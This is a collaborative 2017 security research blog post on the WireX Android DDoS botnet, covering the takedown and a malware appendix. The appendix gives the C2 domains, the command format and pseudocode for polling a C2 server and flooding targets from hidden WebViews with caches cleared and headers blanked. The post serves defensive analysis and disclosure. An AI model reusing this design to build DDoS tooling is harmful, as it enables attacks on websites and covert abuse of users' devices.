The WireX Botnet: How Industry Collaboration Disrupted a DDoS Attack

flashpoint-intel.com/blog/wirex-botnet-industry-collaboration/

August 25, 2017

Blogs

Blog

On August 17th, 2017, multiple Content Delivery Networks (CDNs) and content providers were subject to significant attacks from a botnet dubbed WireX. The botnet is named for an anagram for one of the delimiter strings in its command and control protocol. The WireX botnet comprises primarily Android devices running malicious applications and is designed to create DDoS traffic. The botnet is sometimes associated with ransom notes to targets.

Introduction

On August 17th, 2017, multiple Content Delivery Networks (CDNs) and content providers were subject to significant attacks from a botnet dubbed WireX. The botnet is named for an anagram for one of the delimiter strings in its command and control protocol. The WireX botnet comprises primarily Android devices running malicious applications and is designed to create DDoS traffic. The botnet is sometimes associated with ransom notes to targets.

A few days ago, Google was alerted that this malware was available on its Play Store. Shortly following the notification, Google removed hundreds of affected applications and started the process to remove the applications from all devices.

Researchers from Akamai, Cloudflare, Flashpoint, Google, Oracle Dyn, RiskIQ, Team Cymru, and other organizations cooperated to combat this botnet. Evidence indicates that the botnet may have been active as early as August 2nd, but it was the attacks on August 17th that drew the attention of these organizations. This post

represents the combined knowledge and efforts of the researchers working to share information about a botnet in the best interest of the internet community as a whole. This blog post was written together by researchers from numerous organizations and released concurrently by Akamai, Cloudflare, Flashpoint, and RiskIQ.

Attack details

The first available indicators of the WireX botnet appeared on August 2nd as minor attacks that went unnoticed at the time. It wasn't discovered until researchers began searching for the 26 character User-Agent string in logs. These initial attacks were minimal and suggest that the malware was in development or in the early stages of deployment. More prolonged attacks have been identified starting on August 15th, with some events sourced from a minimum of 70,000 concurrent IP addresses, as shown in Figure 1.

WireX is a volumetric DDoS attack at the application layer. The traffic generated by the attack nodes is primarily HTTP GET requests, though some variants appears to be capable of issuing POST requests. In other words, the botnet produces traffic resembling valid requests from generic HTTP clients and web browsers.

Figure 1: Estimated growth of the botnet based on the count of unique IPs per hour observed participating in attacks.
Figure 1: *Estimated growth of the botnet based on the count of unique IPs per hour observed participating in attacks.*
During initial observation, the majority of the traffic from this botnet was distinguished by the use of an HTTP Request's User-Agent string containing the lowercase English alphabet characters, in random order.

Some of the User-Agent values seen:

User-Agent: jigpuzbcomkenhvladtwysqfxr

User-Agent: yudjmikcvzoqwsbflghtxpanre

User-Agent: mckvhaflwzbderiysoguxnqtpj

User-Agent: deogjvtynmcxzwfsbahirukqpl

User-Agent: fdmjczoeyarnuqkbgtlivsxhwp

User-Agent: yczfxlrenuqtwmavhojpigkdsb

User-Agent: dnlseufokcgvmajqzpbtrwyxih

Variants of the malware have also been observed emitting User-Agent strings of varying length and expanded character sets, sometimes including common browser User-Agents. Here are some samples of other User-Agents observed:

User-Agent: xlw2ibhqg0i

User-Agent: bg5pdrxhka2sjr1g

User-Agent: 5z5z39iit9damit5czrxf655ok060d544ytvx25g19hcg18jpo8vk3q

User-Agent: fge26sd5e1vnyp3bdmc6ie0

User-Agent: m8al87qi9z5cqlwc8mb7ug85g47u

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729)

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20071018 BonEcho/2.0.0.7

User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2

Tracing the nodes

Analysis of the incoming attack data for the August 17th attack revealed that devices from more than 100 countries participated, an uncharacteristic trait for current botnets. The distribution of the attacking IPs along with the distinctive User-Agent string led the researchers who began the initial investigation to believe that other organizations may have seen or would be likely to experience similar attacks. The researchers reached out to peers in other organizations for verification of what they were seeing.

Once the larger collaborative effort began, the investigation began to unfold rapidly starting with the investigation of historic log information, which revealed a connection between the attacking IPs and something malicious, possibly running on top of the Android operating system.

In the wake of the Mirai attacks, information sharing groups have seen a resurgence, where researchers share situation reports and, when necessary, collaborate to solve Internet-wide problems. Further, WannaCry, Petya and other global events have only strengthened the value of this collaboration. Many information sharing groups, such as this one, are purely informal communications amongst peers across the industry.

Finding the software

Investigation of the logs from attacks on August 17th revealed previous attacks meeting the same signature implicated the first Android application, "*twdlphqg_v1.3.5_apkpure.com.apk*". Researchers quickly grabbed examples of the application to understand how it works and determine if related applications might exist. Searches using variations of the application name and parameters in the application bundle revealed multiple additional applications from the same, or similarly named authors, with comparable descriptions, as shown in Figure 2. As new applications were located, others on the team began to dig into the binaries to learn how they worked.

Figure 2: A screenshot of one of the searches for similar malware.***Figure 2:*** *A screenshot of one of the searches for similar malware.*

There were few cases where these applications were found in well known and pre-configured app stores for mobile devices. Whenever possible, the abuse teams for these app stores, like Google, were contacted and worked expediently to remove the offending content. Google provided the following comment in response to this research:

We identified approximately 300 apps associated with the issue, blocked them from the Play Store, and we're in the process of removing them from all affected devices. The researchers' findings, combined with our own analysis, have enabled us to better protect Android users, everywhere.

Malware overview

Many of the identified applications fell into the categories of media/video players, ringtones or tools such as storage managers and app stores with additional hidden features that were not readily apparent to the end users that were infected. At the launch of the applications, the nefarious components begin their work by starting the command and control polling service which queries the command and control server, most commonly *g.axclick.store*, for attack commands. When attack commands are received, the parsing service inspects the raw attack command, parses it and invokes the attacking service with the extracted parameters.

The applications that housed these attack functions, while malicious, appeared to be benign to the users who had installed them. These applications also took advantage of features of the Android service architecture allowing applications to use system resources, even while in the background, and are thus able to launch attacks when the

application is not in use. Antivirus scanners currently recognize this malware as the “Android Clicker” trojan, but this campaign’s purpose has nothing to do with click fraud. It is likely that this malware used to be related to click fraud, but was repurposed for DDoS.

An in-depth overview of the internals of the rogue components of the applications can be found in Appendix 1.

Conclusion

These discoveries were only possible due to open collaboration between DDoS targets, DDoS mitigation companies, and intelligence firms. Every player had a different piece of the puzzle; without contributions from everyone, this botnet would have remained a mystery.

The best thing that organizations can do when under a DDoS attack is to share detailed metrics related to the attack. With this information, those of us who are empowered to dismantle these schemes can learn much more about them than would otherwise be possible.

These metrics include packet captures, lists of attacking IP addresses, ransom notes, request headers, and any patterns of interest. Such data should not contain any legitimate client traffic, to reduce privacy concerns and also because legitimate traffic can pollute and slow down analysis. And most importantly, give permission to share this data—not only to your vendors, but to their trusted contacts in the broader security community who may have expertise or visibility not available in your own circle of vendors.

There is no shame in asking for help. Not only is there no shame, but in most cases it is impossible to hide the fact that you are under a DDoS attack. A number of research efforts have the ability to detect the existence of DDoS attacks happening globally against third parties no matter how much those parties want to keep the issue quiet. There are few benefits to being secretive and numerous benefits to being forthcoming.

Sharing detailed attack metrics also allows for both formal and informal information sharing groups to communicate about and understand the attacks that are happening at a global scale, rather than simply what they see on their own platforms. This report is an example of how informal sharing can have a dramatically positive impact for the victims and the Internet as a whole. Cross-organizational cooperation is essential to combat threats to the Internet and, without it, criminal schemes can operate without examination.

We would like to acknowledge and thank the researchers at Akamai, Cloudflare, Flashpoint, Google, RiskIQ, Team Cymru, and other organizations not publicly listed. We would also like to thank the FBI for their assistance in this matter.

Authors & Researchers

• Tim April : Senior Security Architect, Akamai
• Chris Baker : Principal of Threat Intelligence, Oracle Dyn
• Matt Carothers
• Jaime Cochran : Security Analyst, Cloudflare
• Marek Majkowski : Enthusiastic Geek, Cloudflare
• Jared Mauch : Internetworking Research and Architecture, Akamai
• Allison Nixon : Director of Security Research, Flashpoint
• Justin Paine : Head Of Trust & Safety, Cloudflare
• Chad Seaman : Sen. Security Intelligence Response Team Engineer, Akamai SIRT
• Darren Spruell : Threat Researcher, RiskIQ
• Zach Wikholm : Research Developer, Flashpoint
• And others

Appendix A: Analysis of the Malware

Identifying C2 Domains

Inspection of various decompiled applications revealed multiple sub-domains of a single root domain (*axclick.store*) that were suspected of being a part of the command and control (C2) infrastructure for the botnet.

*$ grep http * -R*

com/twdlphqg/app/ExplorationActivity.smali: const-string v3, "http://u.axclick.store/"

com/twdlphqg/app/services/Ryiidrxcjmfb.smali: const-string v1, "http://g.axclick.store/"

The first domain (*u.axclick.store*) did not return content; it simply returned an empty response with a *200 OK* status code and appeared to be used for basic Internet connectivity testing.

The second domain (*g.axclick.store*) appeared to be linked to the DDoS components of the malware. The component of the application referencing this domain was responsible for creating an Android *Service* equipped with two *WebView* instances. The first *WebView* instance serves as the C2 beacon, polling the C2 server for attack directives. The second serves as a reference to clone *WebView* objects for attacking. This component also contains the basic logic for spinning up and configuring these attacking instances.

There are multiple other interesting components in play here, all with unique roles. The first component types discussed here serve as the basic, always-on, persistent execution mechanisms. Some applications utilized *Service* objects instantiated using the *android/os/Handler->postDelayed* functionality. This essentially causes the app to persist via a *Service* that polls the C2 server on a regular interval — even while the application is backgrounded. Other variations of the application utilized *AsyncTask* objects in attempts to achieve the same goal.

The second component is a *WebViewClient* that serves as the C2 attack directive parser. It is responsible for detecting *onPageFinished* events from the C2 *WebView* instance being controlled by the polling service and parsing whatever command is returned. When an attack command is successfully parsed, this component is responsible for calling the function that ultimately launches the attack traffic.

Overview of Components

Below we'll cover the relevant pieces individually, using pseudo code based on knowledge gathered from the decompiled APK(s). We'll then talk about what the pseudo code is doing in more detail as it relates to attack commands and techniques.

Service Runner

The *ServiceRunner* component's role is a means of persistent background execution by injecting the *Runnable* object type into a timed *OS Handler*. Because of the nature of a *Service* in Android environments, the malware can continue to keep running once the app has been launched and placed in the background. Execution will only stop if application is actively killed/closed by the mobile device user or in the event of a device restart.

Service Runner Pseudo Code

```
Class ServiceRunner extends Object {

  Public function run() {

    DDoS_Service->poll_c2();

  }

}
```

C2 Response Parser

The *AttackCommandParser* serves as the callback that is triggered when the C2 WebView detects that a page load has occurred. The parser loads the page's content and extracts the <title> body as the attack command. Based on observed samples, a payload from the C2 looks like this:

```
<html>
 <title>
 https://A_TARGETED_WEBSITE/snewxwriA_USER_AGENT_STRINGsnewxwrihttps://A_REFER_HEADER_VALUE/
 </title>
</html>
```

Figure 3: *Attack Directive Sample*

The value extracted from the *<title>* tag is then tested via *String->contains()* to ensure it contains the value token delimiter *snewxwri*. If the delimiter is found, the content is trimmed of leading or trailing whitespace and then *split()* into an *Array* of pieces on the delimiter. The resulting tokens are then used as *parameters* to be passed to the *DDoS_Service->attack()method.*

C2 Response Parser Pseudo Code

```
Class AttackCommandParser extends WebViewClient {
  Public function onPageFinished(C2_WebView,C2_url) {
    String pageTitle = C2_WebView->getTitle();
    if (pageTitle->contains("snewxwri") == true) {
      pageTitle = pageTitle->trim();
      Array commandParts = pageTitle.split("snewxwri");
      String target = commandParts[0];
      String userAgent = commandParts[1];
      String referer = commandParts[2];
      DDoS_Service->attack(target, userAgent, referer);
    }
  }
}
```

DDoS Service

The *DDoS_Service* component is what runs the show. It has 3 core functions. These responsibilities are to get the *Service* up and running, provide the *poll_c2()* method for loading the C2 *WebView*, and most importantly — launching attacks. We'll look at these responsibilities one at a time after presenting the pseudo code.

DDoS Service Pseudo Code

```
Class DDoS_Service extends Object {
```

```
Public function onCreate() {
  Handler OS_Handler = new Handler();
  Object Runner = new ServiceRunner();
  OS_Handler->postDelayed(Runner,2);
}
Public function poll_c2() {
  WebViewClient C2_Parser = new AttackCommandParser();
  WebView C2_WebView = new WebView();
  WebViewSettings C2_WebView_Settings = C2_WebView->getSettings();
  C2_WebView_Settings->setCacheMode(LOAD_NO_CACHE);
  C2_WebView->clearCache(true);
  C2_WebView->clearHistory();
  C2_WebView->setWebViewClient(C2_Parser);
  C2_WebView->loadUrl("http://g.axclick.store");
}
Public function attack(String target, String userAgent, String referer) {
  HashMap WebViewHeaders = new HashMap();
  WebViewHeaders->put("Referer",referer);
  WebViewHeaders->put("X-Requested-With","");
 WebView[] AttackerViews = new WebView[100];
  for (int i=0; i<AttackerViews.length; i++) {
    AttackerViews[i] = new WebView();
    AttackerViews[i]->clearHistory();
    AttackerViews[i]->clearFormData();
    AttackerViews[i]->clearCache(true);
    WebViewSettings AttackWebViewSettings = AttackerViews[i]->getSettings();
   AttackWebViewSettings->setJavaScriptEnabled(true);
    AttackWebViewSettings->setUserAgentString(userAgent);
    AttackWebViewSettings->setCacheMode(LOAD_NO_CACHE);
   this->deleteDatabase("webview.db");
```

```
    this->deleteDatabase("webviewCache.db");
    AttackerViews[i]->loadUrl(target,WebViewHeaders);
   }
  }
}
```

DDoS Service onCreate()

The *onCreate()* method is straightforward: it creates a new *android/os/Handler* and *ServiceRunner* instance. The S*erviceRunner* instance is then hooked into the *Handler* via a call to *postDelayed()*. According to Android documentation, this "Causes the Runnable *r* to be added to the message queue, to be run after the specified amount of time elapses." The second parameter to this method call is the number of milliseconds before the *Runnable* is invoked. In this sample that value is 2, which is a very aggressive timing strategy.

DDoS Service poll_c2()

The *poll_c2()* method is responsible for continually reloading the *WebView* with the C2 URL while also hooking the *AttackCommandParser WebViewClient* into the poller *WebView* instance. Before polling the C2 domains, the service will clear and disable the cache as well as clear the WebView instance history. These steps are performed to ensure that the client is always getting up-to-date information from the C2 and not being served cache hits from the local device. We'll see this tactic reused during the analysis of the *attack()* method as well.

DDoS Service attack()

```
Public function attack(String target, String userAgent, String referer) {
  HashMap WebViewHeaders = new HashMap();
  WebViewHeaders->put("Referer",referer);
  WebViewHeaders->put("X-Requested-With","");
  WebView[] AttackerViews = new WebView[100];
  for (int i=0; i<AttackerViews.length; i++) {
    AttackerViews[i] = new WebView();
    AttackerViews[i]->clearHistory();
    AttackerViews[i]->clearFormData();
    AttackerViews[i]->clearCache(true);
    WebViewSettings AttackWebViewSettings = AttackerViews[i]->getSettings();
    AttackWebViewSettings->setJavaScriptEnabled(true);
    AttackWebViewSettings->setUserAgentString(userAgent);
    AttackWebViewSettings->setCacheMode(LOAD_NO_CACHE);
    this->deleteDatabase("webview.db");
    this->deleteDatabase("webviewCache.db");
```

```
    AttackerViews[i]->loadUrl(target,WebViewHeaders);
  }
}
```

The *attack()* method is responsible for generating the actual attack traffic. The *AttackCommandParser->onPageFinished()* that was previously discussed will pass in the *target, userAgent,* and *referer* values that were handed out by the last C2 interaction. This method will create a HashMap object that will configure the HTTP Headers used during the attack.

The first header is the HTTP *Referer*, which as we know was supplied by the C2 server. In all observed cases, this value was a mirror value of the actual *target*. The second header is the *X-Requested-With* header; although the *WebView* would usually have a default value, it is overwritten with a blank value. Typically this header coming from an embedded WebView would contain information about the Android application such as *com.[app_author].app*. It's likely that this Header was blanked specifically to obfuscate who or what was generating the attack traffic that would be seen by the target.

Once the headers are configured, an empty *Array* of *WebView* place holders is instantiated, followed by a loop to fill this *Array* with actual *WebView* instances. Each instance goes through the same set of configuration processes. The *WebView* instances created will have their history, saved form data, and cache cleared. The JavaScript capabilities are enabled (this is typically disabled by default for embedded *WebViews*), the *User-Agent* string that will be present in the HTTP Headers is overwritten with the value supplied by the C2 attack directive, and the *CacheMode* set to *LOAD_NO_CACHE*, which will force the browser instance to bypass local caches and fetch the target URL for each request.

In a final attempt to ensure that no cache hits will occur on the device and a that request will be sent to the *target*, the application also deletes its local *webview.db* and *webviewCache.db* files from the device before loading each request.

Finally we see the *loadUrl()* method is called on the newly configured *WebView* instance using the *target* URL and customized *WebViewHeaders HashMap*.

Running the Malware-User Experience

While many of the identified apps had already been removed from the Google Play store, mirrors remained online from which we could download the APK files. We loaded "twdlphqg" (one of the attacking apps) onto a freshly-reset physical Samsung Galaxy S4 that had been running Lollipop and security patches from 2015.

This app, along with the others we tested, used innocuous-sounding names like "Device Analysis", "Data Storage" "Package Manager", and so forth.

When the app is run, it appears to be a very basic ringtone app. Only three ringtones are provided. The app can play and set ringtones but has no other functionality.

In the background, this app spawns additional processes that continue to run even while the phone's screen is locked. This allows the app to launch DDoS attacks from the phone in the background. When we left the phone on a charger and let it go to sleep, it continued to launch DDoS attacks.

Notably, it is no longer possible to install this application as Google's PlayProtect feature now blocks this app from being installed. Google is also removing it from devices that already have it installed. All of the applications we tested that were part of this campaign produced this block message; disabling PlayProtect was necessary to run the malware.

Ring Ring! DDoS! – Variations in Malicious Apps

We tested multiple applications from this campaign. There were different variations in behavior and user interface and they weren't all ringtone apps. All tests were conducted on the same phone.

Xryufrix

Xryufrix was the top hitter from the DDoS statistics, but when run, its performance was underwhelming. It's possible there was a compatibility issue preventing it from reaching its full DDoS potential. This app asked for fewer permissions upon initial install, but did ask for the same lock screen related device administrator permissions as twdlphqg. This one pretended to be a YouTube app. When it first opens, it queries the axclick domain for the DDoS attack commands as well as a GET request against **p[.]axclick[.]store/?utm_source=tfikztteuic,** which returns the Play Store URL of a different app located at **market://details?id=com[.]luckybooster[.]app** . When the user attempts to play a Youtube video, this app closes, deletes its icon from the app list, and makes itself impossible to execute afterwards, which is possibly the result of a crash. It also opens the Play store download link for the "Luckybooster" app, which did not DDoS when it was run. The xryufrix app does not launch DDoS attacks while the phone is asleep nor does it launch DDoS attacks at any time other than when the app is active.